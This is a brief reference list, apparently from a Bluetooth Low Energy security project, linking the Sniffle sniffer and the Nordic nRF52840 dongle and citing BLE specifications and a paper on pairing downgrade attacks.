- **Sniffle**: [https://github.com/nccgroup/Sniffle](https://github.com/nccgroup/Sniffle)
- **Nordic semiconductor nrf52840 DONGLE**: [https://www.nordicsemi.com/Products/Development-hardware/nrf52840-dongle](https://www.nordicsemi.com/Products/Development-hardware/nrf52840-dongle)

Other related previous work and publications:
- Bluetooth Core Specification (Revision: 5.2 - 2019-12-31). Core Specification Working Group
- **HID OVER GATT PROFILE SPECIFICATION (V 1 Or00)**. HID WG.
- Breaking Secure Pairing of Bluetooth Low Energy Using Downgrade Attacks. Yue Zhang, Jian Weng, Rajib Dey, Yier Jin, Zhiqiang Lin, and Xinwen Fu